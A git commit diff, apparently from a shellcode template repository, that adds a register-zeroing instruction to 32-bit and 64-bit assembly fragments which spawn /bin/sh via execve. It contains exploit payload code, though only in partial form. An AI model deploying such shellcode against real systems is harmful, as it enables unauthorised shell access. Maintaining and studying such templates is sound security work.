summaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
-rw-r--r--templates/shellcode/shell32.asm1
-rw-r--r--templates/shellcode/shell64.asm1
2 files changed, 2 insertions, 0 deletions
diff --git a/templates/shellcode/shell32.asm b/templates/shellcode/shell32.asm
index d12910f..5ff2e12 100644
--- a/templates/shellcode/shell32.asm
+++ b/templates/shellcode/shell32.asm
@@ -5,6 +5,7 @@ global _start
_start:
xor ecx, ecx
+ xor edx, edx
push 0xb
pop eax
push ecx
diff --git a/templates/shellcode/shell64.asm b/templates/shellcode/shell64.asm
index a6d4626..2353b6f 100644
--- a/templates/shellcode/shell64.asm
+++ b/templates/shellcode/shell64.asm
@@ -5,6 +5,7 @@ global _start
_start:
xor rsi, rsi
+ xor rdx, rdx
push rsi
mov rdi, 0x68732f2f6e69622f
push rdi